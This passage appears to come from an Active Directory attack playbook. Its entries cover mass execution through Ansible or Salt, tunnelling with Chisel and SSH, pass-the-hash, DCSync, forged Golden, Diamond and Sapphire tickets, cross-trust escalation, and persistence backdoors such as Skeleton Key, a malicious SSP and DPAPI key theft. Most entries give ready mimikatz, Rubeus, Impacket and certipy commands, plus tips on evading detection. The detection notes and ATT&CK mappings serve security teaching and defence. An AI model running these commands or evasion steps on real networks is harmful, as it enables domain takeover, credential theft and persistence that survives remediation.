Configuration-management and remote-management platforms exist to run code on every node they manage, so turning one you control into estate-wide execution is the goal. From an Ansible controller, fire ad-hoc commands or a play against the whole inventory (as root via become); a Salt master publishes jobs to its minions over the ZeroMQ pub channel (4505/tcp); Puppet/Chef ship a malicious manifest/recipe. RMM and endpoint suites (PDQ Deploy, Tanium, ManageEngine, NinjaOne, Intune) deploy a package or script to all enrolled devices as SYSTEM. One controller = code execution everywhere, plus its stored deploy credentials.

Requires

  • Control of a config-management controller or RMM console (Ansible/Salt/Puppet, PDQ/Tanium/ManageEngine/Intune)

Example commands

# Ansible: run as root across the inventory
ansible all -i inventory -m shell -a 'id' --become
# Salt: command every minion
salt '*' cmd.run 'whoami'

Tools

MITRE ATT&CK: T1072

References

OPSEC / detection: Mass deployment is loud in the platform's own job / audit logs and lands on many hosts at once; target a subset. Commands spawn from the agent (as SYSTEM/root), a strong EDR signal.

Pivoting & Tunneling

Tunnel through a foothold to reach segmented internal networks.

A compromised host is often routable to subnets you can't reach directly. Turn it into a pivot: a SOCKS proxy driven through proxychains, SSH local / remote / dynamic port-forwards, or a userland tunnel (Ligolo-ng, Chisel, sshuttle, Metasploit autoroute) to reach internal DCs, management VLANs, and services. This adds no privilege, only reach: the rest of the estate becomes available for enumeration and remote execution.

Requires

  • A foothold (shell) on a host with routes to the target network

Example commands

# Dynamic SOCKS over SSH, then tunnel tooling
ssh -D 1080 user@pivot
proxychains nxc smb 172.16.5.0/24
# Reverse SOCKS with Chisel (NAT / firewall friendly)
# attacker
chisel server -p 8080 --reverse
# pivot
chisel client 10.0.0.66:8080 R:socks

Tools

MITRE ATT&CK: T1090.001

References

OPSEC / detection: Long-lived tunnels and unusual outbound connections from a server are detectable; userland tools (Ligolo-ng / Chisel) avoid dropping kernel drivers. Scope tunnels tightly and tear them down.

RDP Restricted Admin Pass-the-Hash

Enable Restricted Admin mode and RDP into a host with only an NT hash, no plaintext.

Standard RDP needs a plaintext password or Kerberos ticket. Restricted Admin Mode makes the RDP server use a network logon, which enables pass-the-hash over RDP. Set DisableRestrictedAdmin=0 under HKLM\System\CurrentControlSet\Control\Lsa on the target (remotely if you already have admin), then PtH into the native client with mimikatz sekurlsa::pth /run:'mstsc.exe /restrictedadmin', or use xfreerdp /restricted-admin. The session also leaves no reusable creds on the remote host.

Requires

  • A target NT hash (or AES key) for an account with RDP/admin rights
  • DisableRestrictedAdmin=0 on the target

Example commands

# Enable Restricted Admin on the target (remote reg needs the RemoteRegistry service running, which is disabled by default on modern workstations; otherwise set it via a remote-exec channel or the RestrictedAdmin tool)
reg add "\\TARGET\HKLM\System\CurrentControlSet\Control\Lsa" /v DisableRestrictedAdmin /t REG_DWORD /d 0 /f
# PtH into RDP (mimikatz)
sekurlsa::pth /user:Administrator /domain:corp.local /ntlm:<NTLM> /run:"mstsc.exe /restrictedadmin"
# Or from Linux
xfreerdp /v:target.corp.local /u:Administrator /pth:<NTLM> /restricted-admin

Tools

MITRE ATT&CK: T1021.001

References

OPSEC / detection: Enabling Restricted Admin flips a well-watched registry value (a primary detection); the RDP network logon (4624 type 3) from a tool host is unusual. Defenders enforce DisableRestrictedAdmin=1 by GPO.

Domain Dominance

DCSync

Replicate secrets: pull any hash, incl. krbtgt.

With replication rights (DS-Replication-Get-Changes) you can ask a DC to hand over password hashes for any principal (including krbtgt and Domain Admins) by impersonating a domain controller. No code runs on the DC.

Requires

  • Replication rights (Domain Admin, DCSync ACL, or relayed LDAP)

Example commands

# bloodyAD
bloodyAD -u user -p pass -d domain.local --host dc01 add dcsync <attacker>
# DCSync the krbtgt hash
secretsdump.py DOMAIN/user:pass@dc01 -just-dc-user krbtgt
# Mimikatz DCSync
lsadump::dcsync /domain:domain.local /user:Administrator

Tools

MITRE ATT&CK: T1003.006

References

OPSEC / detection: Replication from a non-DC source is a high-fidelity detection (Event ID 4662 with the replication GUID). Source from an expected host if possible.

krbtgt Hash

The key to forge any Kerberos ticket.

The krbtgt account signs every TGT in the domain. Its hash lets you forge tickets for any user with any privileges, giving durable control of Kerberos auth.

Requires

  • The krbtgt hash (via DCSync or NTDS.dit extraction)

MITRE ATT&CK: T1558

Golden Ticket

Forge a TGT as anyone, anytime.

Using the krbtgt hash, forge a Ticket-Granting-Ticket with arbitrary group membership. On unpatched or legacy domains this works even for a non-existent user; on domains with PAC_REQUESTOR enforcement (KB5008380, default since Oct 2022) the target must be a real account and -user-id must match its RID. It is accepted across the domain and survives most password resets, giving Domain Admin equivalence and persistence.

Requires

  • krbtgt RC4/NT hash or AES256 key
  • Domain SID

Example commands

# Forge with the krbtgt RC4/NT hash (legacy; RC4 is loud on AES-only domains). -user-id must match the target RID (500 = Administrator) on PAC_REQUESTOR-enforcing DCs
ticketer.py -nthash <krbtgt_hash> -domain-sid <SID> -domain domain.local -user-id 500 Administrator
# Forge with the krbtgt AES256 key (blends into an AES-only domain). -user-id must match the target RID (500 = Administrator) on PAC_REQUESTOR-enforcing DCs
ticketer.py -aesKey <krbtgt_aes256> -domain-sid <SID> -domain domain.local -user-id 500 Administrator

Tools

MITRE ATT&CK: T1558.001

References

OPSEC / detection: Match the forging key to the domain. On an AES-only domain a ticket built from the RC4 hash (etype 23) is an encryption-downgrade tell, so forge with -aesKey; on a legacy RC4 domain the NT hash is fine. Set realistic ticket lifetimes (default 10y golden tickets are an easy hunt); mismatched RID/encryption is detectable.

goal Domain Admin

👑 Full control of the domain.

You hold Domain Admin (or equivalent): every host, every account, every secret. Reached by many routes, for example ACL abuse, DCSync, a forged Golden Ticket, certificate forgery or theft, KDC-bug impersonation (noPac, MS14-068), privileged-group abuse, or theft of a live DA account's credentials, tickets, or session. The remaining branches establish durable persistence so access survives remediation.

Requires

  • A DA-equivalent takeover primitive: e.g. a DA-equivalent ACL, DCSync rights, a Golden Ticket, or any equivalent path to domain dominance

MITRE ATT&CK: T1078.002

Trust / SID History (Child → Forest)

Forge a ticket with the Enterprise Admins SID via sidHistory.

Within a single forest there is no SID filtering on intra-forest trusts, so the sidHistory / ExtraSids field of a ticket is honored across the trust. With the child domain's krbtgt key, forge an inter-realm or golden ticket whose ExtraSids contains the root domain's Enterprise Admins SID (<root-SID>-519); the parent KDC treats you as an Enterprise Admin, escalating from child Domain Admin to full forest compromise. Operationally you use the forged golden TGT against the child DC, then request a service ticket to a parent-domain resource; the child KDC returns an inter-realm referral whose PAC still carries the -519 ExtraSid, which the parent honours. You do not hand the child-krbtgt ticket to the parent DC directly, since it cannot decrypt it (raiseChild automates the chain).

Requires

  • Domain Admin / krbtgt key of the child domain
  • A child domain within the target forest

Example commands

# Forge ticket with EA ExtraSid
ticketer.py -nthash <CHILD_KRBTGT> -domain-sid <CHILD_SID> -domain child.domain.local -extra-sid <ROOT_SID>-519 Administrator
# Automate child -> parent
raiseChild.py child.domain.local/childadmin:pass

Tools

MITRE ATT&CK: T1134.005

References

OPSEC / detection: A forged golden TGT containing a high-privilege ExtraSid is detectable by the same anomalies as golden tickets (no preceding AS-REQ, odd lifetime/etype). SID filtering / quarantine is NOT a valid defense here: a single forest is one security boundary, and quarantine/SID filtering apply only to external/forest (cross-forest) trusts, not to intra-forest parent-child trusts. The real mitigations are guarding and rotating the child krbtgt, isolating untrusted domains into separate forests, and detecting golden-ticket anomalies.

Diamond Ticket

Modify a real KDC-issued TGT with the krbtgt key.

Rather than forging a TGT from scratch (golden ticket), a diamond ticket requests a legitimate TGT from the DC, decrypts it with the krbtgt key (AES256 preferred), edits the PAC (e.g. add Domain Admins), then re-encrypts and re-signs it. Because a genuine AS-REQ precedes its use, it evades golden-ticket detections that flag a TGS with no preceding AS exchange.

Requires

  • The krbtgt AES256 key (or NT hash)
  • A valid set of domain credentials to request the base TGT

Example commands

# Craft a diamond TGT (Rubeus)
Rubeus.exe diamond /tgtdeleg /ticketuser:Administrator /ticketuserid:500 /groups:512 /krbkey:<KRBTGT_AES256> /nowrap
# Request + modify with ticketer
ticketer.py -request -domain domain.local -user user -password pass -aesKey <KRBTGT_AES256> -domain-sid <SID> -user-id 500 -groups 512 Administrator

Tools

MITRE ATT&CK: T1558

References

OPSEC / detection: Stealthier than a golden ticket because a real AS-REQ precedes the TGS; use /opsec (Rubeus) to mimic a Windows AS-REQ and stick to AES256. PAC values that diverge from the account's real group memberships can still be caught by behavioral detection / log correlation (an unexpected privileged group in the PAC versus the account's real membership); a correctly re-signed diamond ticket still passes signature-only PAC validation.

category DC Credential Dumping

Pull secrets straight from a Domain Controller.

With DA or replication rights, the DCSync and NTDS.dit paths extract the domain's entire credential store (DCSync over DRSUAPI replication, or an offline NTDS.dit dump), including the krbtgt key; the RODC KeyList path is bounded to the secrets the RODC is allowed to reveal.

MITRE ATT&CK: T1003.006

References

category Domain Trusts

Cross domain & forest trust boundaries.

Enumerate and abuse trust relationships (inter-realm tickets, intra-forest SID-history hopping, and external/forest-trust access paths) to pivot between domains and reach the forest root.

MITRE ATT&CK: T1482

References

Inter-Realm Trust Ticket

Forge a referral TGT with the trust key to reach a trusted domain.

Each trust has a shared inter-realm key, stored in a TRUSTEDDOMAIN$ trust account in the trusting domain and rotated ~every 30 days. DCSync that trust account to recover its hash, then forge an inter-realm referral TGT with ticketer.py using -spn krbtgt/<target_domain>, which is distinct from a golden ticket that uses the local krbtgt key. Present the referral ticket to the target KDC (getST.py) to authenticate across the trust. Whether ExtraSids are honored depends on the trust type: within a forest (parent-child, TRUST_ATTRIBUTE_WITHIN_FOREST) SID filtering is effectively off, so ExtraSids up to Enterprise Admins (RID 519) pass; across a forest/external trust SID filtering by default drops SIDs with RID < 1000, so 519/512-style ExtraSids will not pass unless TREAT_AS_EXTERNAL or weakened filtering is set.

Requires

  • The inter-realm trust key (DCSync of the TRUSTEDDOMAIN$ account)
  • Source and target domain SIDs

Example commands

# DCSync the trust account hash
secretsdump.py -just-dc-user 'TRUSTEDDOMAIN$' domain.local/admin:pass@dc01
# Forge an inter-realm referral TGT (extra-sid RID 519 = Enterprise Admins, intra-forest)
ticketer.py -nthash <TRUST_KEY_HASH> -domain-sid <SOURCE_SID> -domain source.local -extra-sid <ROOT_DOMAIN_SID>-519 -spn krbtgt/target.local user
# Request a service ticket in the target domain
KRB5CCNAME=user.ccache getST.py -k -no-pass -spn CIFS/dc.target.local target.local/user@target.local

Tools

MITRE ATT&CK: T1558.001

References

OPSEC / detection: A forged inter-realm TGT shows golden-ticket-style anomalies (no preceding AS-REQ, odd lifetime/etype). Prefer AES over RC4. Across a forest/external trust, SID filtering / quarantine drops RID<1000 ExtraSids; within a forest it does not, so child-to-parent ExtraSids up to Enterprise Admins are accepted.

goal Enterprise Admin (Forest Root)

👑 Forest-root compromise: every domain in the forest.

The forest, not the domain, is Active Directory's true security boundary, and Enterprise Admins (a group in the forest-root domain) administer every domain inside it. Escalating beyond a single Domain Admin means crossing an intra-forest trust to the root: a golden/inter-realm ticket whose ExtraSids carries the root Enterprise Admins SID (<root-SID>-519), a child→parent SID-history hop, or a forged inter-realm referral ticket. From forest root you control every domain's krbtgt, every DC, and can establish persistence at forest scope. This is a distinct, higher goal than per-domain Domain Admin: a single forest can contain several Domain Admins (one per domain) but only one Enterprise Admins group, at the forest root.

Requires

  • A cross-trust escalation: inter-realm trust ticket, parent-child krbtgt, or SID-history injection into the forest root

MITRE ATT&CK: T1134.005

References

RODC Abuse (Golden Ticket + KeyList)

From SYSTEM on a Read-Only DC: dump krbtgt_<N>, allow a target in the Password Replication Policy, forge an RODC golden ticket, then KeyList-request a writable DC for the target's real keys.

A Read-Only DC holds its own krbtgt account (krbtgt_<N>, N = the number in its msDS-KrbTgtLink). With admin/SYSTEM on the RODC, dump the krbtgt_<N> AES/RC4 key. Because an RODC only caches accounts allowed by its Password Replication Policy, the target must be in msDS-RevealOnDemandGroup and NOT in msDS-NeverRevealGroup (directly or via nested groups). The built-in Administrator is nested in Domain Admins, which is default-denied, so either KeyList a non-privileged target that is not denied, or surgically remove only that entry from NeverRevealGroup rather than clearing the whole attribute. Forge an RODC golden ticket with Rubeus golden /rodcNumber:<N>, then send it to a WRITABLE DC in a TGS-REQ carrying a KERB-KEY-LIST-REQ (Rubeus asktgs /keyList): the writable DC returns the target's real long-term key for the requested enctype (NT/RC4 hash if /enctype:rc4, AES key if /enctype:aes256), turning RODC-local SYSTEM into full domain compromise.

Requires

  • Admin / SYSTEM on a Read-Only DC (e.g. via RBCD or WriteAccountRestrictions on the RODC object)
  • A writable DC to answer the KeyList request

Example commands

# Read the current allow-list first so you can restore it
bloodyAD --host dc01.corp.local -d corp.local -u user -p PASS get object 'RODC01$' --attr msDS-RevealOnDemandGroup
# Allow the target to be cached by the RODC (set object REPLACES the attribute, so pass every existing value plus the new one)
bloodyAD --host dc01.corp.local -d corp.local -u user -p PASS set object 'RODC01$' msDS-RevealOnDemandGroup -v 'CN=Allowed RODC Password Replication Group,CN=Users,DC=corp,DC=local' -v 'CN=Administrator,CN=Users,DC=corp,DC=local'
# Forge an RODC golden ticket with rodcNumber
Rubeus.exe golden /rodcNumber:8245 /flags:forwardable,renewable,enc_pa_rep /aes256:<krbtgt_N_AES> /user:Administrator /id:500 /domain:corp.local /sid:<DOMAIN_SID> /nowrap
# KeyList request to a writable DC to recover real keys
Rubeus.exe asktgs /enctype:aes256 /keyList /ticket:<BASE64_RODC_GT> /service:krbtgt/corp.local /nowrap

Tools

MITRE ATT&CK: T1558.001

References

OPSEC / detection: Editing msDS-RevealOnDemandGroup / NeverRevealGroup on a DC object is a high-signal directory change. bloodyAD set object REPLACES the whole attribute, so it clobbers the RODC real PRP allow-list (usually Allowed RODC Password Replication Group); capture the original values first and restore them exactly on cleanup, not just remove your entry. The KeyList TGS-REQ to the writable DC is unusual traffic; prefer AES over RC4 to reduce ticket anomalies.

Persistence

AdminSDHolder Backdoor

Stamp persistent rights on protected groups.

The AdminSDHolder object's ACL is pushed to all protected groups every 60 minutes by SDProp. Add an ACE granting yourself control and it is silently re-applied to Domain Admins et al. even after a defender removes you.

Requires

  • Domain Admin / write on AdminSDHolder

Example commands

# Add a persistent ACE to AdminSDHolder
Add-DomainObjectAcl -TargetIdentity 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' -Rights All -PrincipalIdentity backdoor
# Grant GenericAll over AdminSDHolder (bloodyAD)
bloodyAD -u user -p pass -d domain.local --host dc01 add genericAll 'CN=AdminSDHolder,CN=System,DC=domain,DC=local' attacker

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: The injected ACE is visible to anyone auditing protected-group ACLs; pair with a low-profile principal name.

DSRM Abuse

Use the DC local admin as a backdoor.

Every DC has a Directory Services Restore Mode local administrator. Dump its hash and flip the DsrmAdminLogonBehavior registry value so it can authenticate over the network: a stealthy, rarely-rotated DC backdoor. It is a local SAM account with no Kerberos identity, so authentication is NTLM pass-the-hash only (e.g. mimikatz sekurlsa::pth against the DC by short name or IP), never a TGT.

Requires

  • Domain Admin / local admin on a DC

Example commands

# Allow DSRM network logon
reg add "HKLM\System\CurrentControlSet\Control\Lsa" /v DsrmAdminLogonBehavior /t REG_DWORD /d 2

Tools

MITRE ATT&CK: T1078.001

References

OPSEC / detection: Registry change on the DC is auditable; the DSRM account rarely logs on, so its use stands out if monitored.

DCShadow

Register a rogue DC, push stealth changes.

Temporarily register a rogue domain controller and push arbitrary directory changes (e.g. SIDHistory, ACLs) via replication. This evades tools that only watch object-modification events, but the changes are visible to replication-metadata monitoring, Directory Service events 4928/4929, and Defender for Identity.

Requires

  • Domain Admin
  • Two processes (push + SYSTEM)

Example commands

# Stage the change (SYSTEM instance; leave running)
lsadump::dcshadow /object:target /attribute:sidHistory /value:<DomainAdmins_or_EnterpriseAdmins_group_SID>
# Commit it (second instance, Domain Admin context)
lsadump::dcshadow /push

Tools

MITRE ATT&CK: T1207

References

OPSEC / detection: Stealthier than direct edits because changes arrive via replication, but registering an nTDSDSA object briefly is detectable by replication-metadata monitoring.

Skeleton Key

Patch LSASS on a DC -> master password for every account.

mimikatz misc::skeleton patches LSASS on a Domain Controller so that, alongside each account's real password, a single master password ("mimikatz" by default) authenticates as any domain user. It patches the NTLM and Kerberos-RC4 validation paths, so it does not work against smart-card / AES-only accounts, and in a multi-DC site every DC in the site must be patched for the master password to be reliable. It is an in-memory patch: it survives until the DC reboots and downgrades affected auth to RC4_HMAC, so it is fast but volatile persistence.

Requires

  • Domain Admin / SYSTEM on a Domain Controller
  • Code execution on the DC to run mimikatz

Example commands

# Inject the skeleton key on a DC
privilege::debug
misc::skeleton
# Authenticate with the master password
net use \\dc01\admin$ /user:domain\anyuser mimikatz

Tools

MITRE ATT&CK: T1556.001

References

OPSEC / detection: Patching LSASS on a DC is high-signal and lost on reboot; the forced RC4 downgrade is itself anomalous. RunAsPPL forces the attacker to load a kernel driver (mimikatz mimidrv.sys, !+) to strip LSASS protection before patching, generating additional driver-load telemetry rather than preventing the attack. Credential Guard / VBS-isolated LSASS is a stronger control.

Golden Certificate (Forge CA)

Steal the CA private key -> forge certs for any principal forever.

With the CA private key, you can forge a client-authentication certificate for ANY domain principal offline: no enrollment, no CA interaction. Extracting the key needs SYSTEM/local-admin on the CA host (the key is DPAPI-protected there), reached via CA-host compromise, DA, or ESC5 (which can yield control of the CA machine account). Note ESC7 alone does not export the key; it only lets you issue certs. This "golden certificate" survives password resets and persists until the CA cert expires or is revoked, making it a durable domain-persistence primitive.

Requires

  • SYSTEM/local-admin on the CA host to export the DPAPI-protected CA private key (CA host compromise / ESC5 / DA)

Example commands

# Back up the CA cert + private key
certipy ca -u user@domain.local -p pass -ns 10.0.0.1 -target ca.domain.local -config 'CA.DOMAIN.LOCAL\CORP-CA' -backup
# Forge a cert for any principal
certipy forge -ca-pfx CORP-CA.pfx -upn administrator@domain.local -sid S-1-5-21-...-500 -crl 'ldap:///'
# Authenticate with the forged cert
certipy auth -pfx administrator_forged.pfx -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Forging happens entirely offline, so it is far quieter than enrollment, but exporting the CA private key is highly privileged and detectable on the CA host. Forged certs are only invalidated by CA key rotation/revocation, not password changes.

Golden SAML (ADFS Token Forgery)

Steal the AD FS token-signing key, then forge SAML tokens as any user to any federated app.

Where the domain federates to cloud / SaaS via AD FS, the token-signing certificate plus the DKM master key (held in AD and unwrapped by the AD FS service account) sign every SAML assertion. With control of an AD FS server or its service account, ADFSDump reads the config DB and the DKM key and ADFSpoof forges a signed SAMLResponse for an arbitrary user with arbitrary claims. Like a Golden Ticket but for federation: it authenticates to any SAML SP (Microsoft 365, AWS, vSphere, etc.), bypasses MFA, and survives the impersonated user's password reset. Federation/hybrid-identity reach, beyond the on-prem domain.

Requires

  • Control of an AD FS server or its service account (token-signing cert + DKM key)

Example commands

# Dump AD FS signing material (on the AD FS host)
ADFSDump.exe
# Forge a SAML token as a target user
python ADFSpoof.py -b EncryptedPfx.bin DKM.bin -s sts.corp.com saml2 --endpoint https://sp/saml --nameid admin@corp.com --rpidentifier urn:sp ...

Tools

MITRE ATT&CK: T1606.002

References

OPSEC / detection: Forging happens offline, so the DC sees nothing; detection is SP-side (impossible/again-issued tokens, logins without a corresponding AD FS sign-in event). Rotating the token-signing certificate twice is what actually evicts it.

category Offline Credential Forgery

Forge tickets or derive account secrets offline.

Sapphire tickets forge Kerberos tickets from the krbtgt key, valid until krbtgt is reset twice; Golden gMSA derives gMSA account passwords offline from the KDS root key, which is effectively never rotated.

MITRE ATT&CK: T1558

References

category DC-Resident Implants

Domain-persistence tradecraft against a Domain Controller.

Patch or register code on a DC: Skeleton Key (patches LSASS), a DSRM backdoor, or a malicious Security Support Provider that logs credentials. DCShadow is grouped here too but works differently: it abuses AD replication from a transient rogue DC to push changes to a real one, rather than persisting code on the DC.

References

category ACL & Rights Backdoors

Durable rights stamped into the directory or a host.

AdminSDHolder rights, host security-descriptor backdoors (DAMP), or an attacker-controlled computer account keep quiet access, often with no new user account or group change.

MITRE ATT&CK: T1098

References

category Federation, Certs & Secrets

Token, certificate, and key-material persistence.

Forge SAML tokens (Golden SAML), enroll a long-lived client-auth certificate, or steal the domain DPAPI backup key.

References

category Persistence

Survive remediation with durable access.

Establish footholds that outlive password resets and re-imaging: AdminSDHolder, DSRM, DCShadow, Skeleton Key, golden/silver tickets, and certificate-based backdoors.

References

Domain Trust Modification

Create or alter a trust / federation for durable cross-domain access.

With Domain Admin (or write over trust objects) an attacker can add a new domain trust, flip trustAttributes (disable SID filtering / quarantine, or set TREAT_AS_EXTERNAL), or extend AD FS federation with an attacker-controlled token-signing certificate. Loosening SID filtering re-opens the SID-history / ExtraSids hopping that filtering would otherwise block, and a rogue trust/federation is durable, low-profile persistence. Distinct from forging SID history (T1134.005): this tampers with the trust relationship itself.

Requires

  • Domain Admin / write over the trustedDomain object (or AD FS admin)
  • A target domain/forest (existing or attacker-created)

Example commands

# Inspect trustAttributes before tampering
Get-DomainTrust -Domain target.local
# Create a one-way inbound trust (netdom)
netdom trust target.local /Domain:attacker.local /add /oneside:trusted /passwordt:Trust_Pass1

Tools

MITRE ATT&CK: T1484.002

References

OPSEC / detection: Trust creation/modification is a high-signal directory change (Event 4706 new trust, 4716 trusted-domain info modified, 4707 trust removed, and 5136 on trustedDomain objects; forest-trust entries add 4865/4866/4867). Disabling SID filtering or adding a federation cert is a strong, durable indicator. Defenders auditing trust topology will spot a new or loosened trust.

Sapphire Ticket

Request a real TGT, then swap in a privileged user's PAC.

The stealthiest golden/diamond variant. Golden forges a PAC and diamond edits the issued one; sapphire requests a legitimate TGT and substitutes the PAC of a privileged user obtained via the S4U2self + U2U extensions. Every element is legitimately issued through a standard request flow, so it resists golden/diamond detections better than either. Still requires the krbtgt key.

Requires

  • krbtgt key (NT hash or AES)
  • Valid domain credentials to request the base TGT

Example commands

# Request a sapphire ticket
ticketer.py -request -impersonate 'Administrator' -domain domain.local -user user -password pass -aesKey <KRBTGT_AES256> -user-id 1115 -domain-sid <SID> baduser

Tools

MITRE ATT&CK: T1558

References

OPSEC / detection: A real AS-REQ precedes it and the PAC belongs to a genuine privileged user (via S4U2self+U2U), so it lacks the forged-PAC anomalies hunters look for. Prefer the AES256 krbtgt key.

Custom SSP / memssp

Register a malicious SSP to log plaintext credentials.

A Security Support Provider is a DLL loaded into LSASS that participates in authentication. Register a malicious SSP to log every credential that authenticates locally in cleartext: drop mimilib.dll and APPEND it to the LSA Security Packages registry value (survives reboot), or load it in-memory via mimikatz misc::memssp (no disk artifact, lost on reboot). The registry/mimilib.dll method logs to C:\Windows\System32\kiwissp.log; in-memory memssp logs to C:\Windows\System32\mimilsa.log.

Requires

  • Local admin / SYSTEM on the target (a DC for domain-wide capture)

Example commands

# In-memory SSP (lost on reboot)
privilege::debug
misc::memssp
# Persistent SSP via registry (stage mimilib.dll in System32, then APPEND it to the existing packages)
copy mimilib.dll C:\Windows\System32\
reg add "HKLM\SYSTEM\CurrentControlSet\Control\Lsa" /v "Security Packages" /t REG_MULTI_SZ /d "kerberos\0msv1_0\0schannel\0wdigest\0tspkg\0pku2u\0mimilib" /f

Tools

MITRE ATT&CK: T1547.005

References

OPSEC / detection: memssp's mimilsa.log under System32 is a well-known IOC. The registry method persists across reboots at the cost of an audited entry in Security Packages. The in-memory method leaves no disk artifact but dies on reboot.

DPAPI Domain Backup Key

Steal the domain DPAPI backup key to decrypt any user's secrets forever.

Every user's DPAPI master key is also encrypted with a domain-wide DPAPI backup key held by the DCs. With Domain Admin, extract that RSA private key once and you can decrypt ANY domain user's DPAPI-protected secrets (saved browser/credential-manager passwords, RDP creds, certificates) even after they change their password. The backup key effectively never rotates, so this is durable persistence.

Requires

  • Domain Admin (or equivalent) to read the backup key from a DC

Example commands

# Export the domain backup key (mimikatz)
lsadump::backupkeys /system:dc01.domain.local /export
# Retrieve the backup key (Impacket)
dpapi.py backupkeys -t domain.local/user:pass@dc01 --export
# Decrypt a user's masterkey with the .pvk
dpapi.py masterkey -file <masterkey_file> -pvk backup_key.pvk

Tools

MITRE ATT&CK: T1555

References

OPSEC / detection: Extracting the backup key is a one-time, high-value action; the LSARPC/LSAD read (LsaOpenPolicy + LsarRetrievePrivateData against the G$BCKUPKEY_* secrets) from a DC is detectable. Once exfiltrated, all subsequent masterkey decryption is offline and invisible.

Computer Account Persistence

Create/own a machine account or grant it privileges for durable access.

Machine accounts are rarely scrutinised like user accounts, yet their passwords authenticate and DCSync just the same. Create or take over a computer account and make it durable: add it to a privileged group, or set its userAccountControl to SERVER_TRUST_ACCOUNT (0x2000 = 8192), which forces primaryGroupId to 516 (Domain Controllers), and that group holds the DS-Replication-Get-Changes[-All] rights that enable DCSync. Authenticate with the machine-account hash (PtH / S4U2self) for stealthy long-term access.

Requires

  • MachineAccountQuota > 0 to create
  • To set SERVER_TRUST_ACCOUNT: DS-Install-Replica (Add/remove replica in domain) on the domain object plus write on the computer object (a delegatable right, not Domain Admin)
  • Group membership changes need write over the target group

Example commands

# Create a controlled machine account
New-MachineAccount -MachineAccount Pentestlab -Domain domain.local -DomainController dc.domain.local
# Make the machine account a DC (needs DS-Install-Replica on the domain + write on the computer)
Set-ADComputer Pentestlab -replace @{ "userAccountControl" = 8192 }
# Create a controlled machine account (bloodyAD)
bloodyAD -u user -p pass -d domain.local --host dc01 add computer Pentestlab 'ComputerPass123!'
# Flag it SERVER_TRUST_ACCOUNT so it can DCSync (bloodyAD, needs DS-Install-Replica on the domain + write on the computer)
bloodyAD -u user -p pass -d domain.local --host dc01 add uac 'Pentestlab$' -f SERVER_TRUST_ACCOUNT
# DCSync as the machine account
secretsdump.py 'domain.local/Pentestlab$:Password123@dc01' -just-dc

Tools

MITRE ATT&CK: T1098

References

OPSEC / detection: Machine-account creation (4741), userAccountControl changes (4742), and privileged group additions (4728) are auditable. A workstation account in Domain Admins or flagged SERVER_TRUST_ACCOUNT is a strong indicator.

Golden gMSA

Steal the KDS root key to compute any gMSA password offline, forever.

gMSA passwords are derived deterministically from the (rarely-rotated) KDS root key plus the account SID and a password ID. With forest-root DA / SYSTEM on a DC, read the KDS root key once, then compute the current managed password of any gMSA offline at any time (even after resets) and derive its NT hash for pass-the-hash. Persistence lasts until the KDS root key changes.

Affects: Domains using gMSAs (KDS root key + Group Managed Service Accounts, introduced in Server 2012).

Requires

  • Forest-root Domain Admin / SYSTEM on a forest-root DC to read the KDS root key (once); a child-domain DA cannot read it by default

Example commands

# Dump the KDS root key (high priv)
GoldenGMSA.exe kdsinfo
# Compute a gMSA password offline
GoldenGMSA.exe compute --sid <gmsa-SID> --kdskey <base64> --pwdid <base64>

Tools

MITRE ATT&CK: T1555

References

OPSEC / detection: Reading the KDS root key needs high privilege once; afterwards all password computation is offline and undetectable. Rotating the KDS root key (rare/operationally hard) is the only real remediation.

Host Persistence

Survive reboot on a foothold: run keys, tasks, services, WMI subs.

Keep access to a compromised host independent of the domain: registry Run / RunOnce keys, a scheduled task, a new or hijacked Windows service, a WMI permanent event subscription (fires on a trigger, often as SYSTEM), COM hijacking, or a startup-folder shortcut. Each mechanism maps to its own ATT&CK sub-technique beyond the tagged T1547 (Run keys / startup folder): scheduled tasks are T1053.005, services T1543.003, WMI event subscriptions T1546.003, and COM hijacking T1546.015. These host-local footholds survive reboot and password resets and are cheap to plant; pair them with domain persistence (golden ticket, AdminSDHolder, …) for layered resilience.

Requires

  • Local admin / SYSTEM on the host (user-level Run keys need only the user)

Example commands

# Registry Run key + scheduled task
reg add "HKCU\Software\Microsoft\Windows\CurrentVersion\Run" /v Updater /d "C:\Windows\Temp\b.exe"
schtasks /create /tn Updater /tr "C:\Windows\Temp\b.exe" /sc onlogon
# Auto-start Windows service
sc create Updater binPath= "C:\Windows\Temp\b.exe" start= auto
sc start Updater

Tools

MITRE ATT&CK: T1547

References

OPSEC / detection: Autoruns, services (7045) and scheduled tasks (4698) are classic, well-monitored persistence; WMI event subscriptions and COM hijacks are quieter and fileless but Sysmon / EDR increasingly catch them. Blend names with legitimate software.

Certificate Persistence (PERSIST1-3)

Enroll a client-auth certificate for a compromised account: valid ~1 year and surviving password resets.

Once you control an account, enroll a client-authentication certificate for a user you control (PERSIST1) or for a computer account you control (PERSIST2), or renew an existing certificate before it expires (PERSIST3). Because certificates authenticate via PKINIT independently of the password, the cert keeps working for its full validity (often a year or more) even after the account's password is reset; a password rotation does not evict it. (Enrolling on behalf of ANOTHER user via an enrollment-agent cert is ESC3, not persistence.)

Requires

  • Control of the target account
  • Enrollment rights to a client-auth template
  • PERSIST2 (machine account) also needs local admin / SYSTEM on the target host to enroll as the computer; PERSIST1 (user) is reachable from a plain domain-user context

Example commands

# Enroll a client-auth cert for the current user
certipy-ad req -u user@corp.local -p PASS -ca CORP-CA -template User
# Later: authenticate with the cert (PKINIT)
certipy-ad auth -pfx user.pfx -dc-ip 10.0.0.1

Tools

MITRE ATT&CK: T1649

References

OPSEC / detection: Enrollment is logged (4886/4887) but blends with normal PKI activity; the cert then authenticates without further enrollment, surviving password changes. Evicting requires revoking the cert, not just resetting the password.

Security-Descriptor Backdoors (DAMP / Nishang)

Edit host security descriptors so a chosen low-priv user keeps remote WMI/WinRM or hash-pull access, with no group membership.

Instead of adding accounts or touching groups, weaken the discretionary ACLs on a host's remotely-accessible services so an arbitrary trustee retains privileged remote access. DAMP's (SpecterOps/HarmJ0y) Add-RemoteRegBackdoor ACL-backdoors the remote-registry/SAM keys so the chosen user can pull secrets on demand, each via its own function: Get-RemoteMachineAccountHash (machine-account hash), Get-RemoteLocalAccountHash (local SAM), and Get-RemoteCachedCredential (cached domain creds). Nishang's (Nikhil Mittal) Set-RemoteWMI grants remote WMI rights and Set-RemotePSRemoting grants remote PowerShell. On a DC/server this is stealthy, reset-surviving persistence that evades group-membership hunting.

Requires

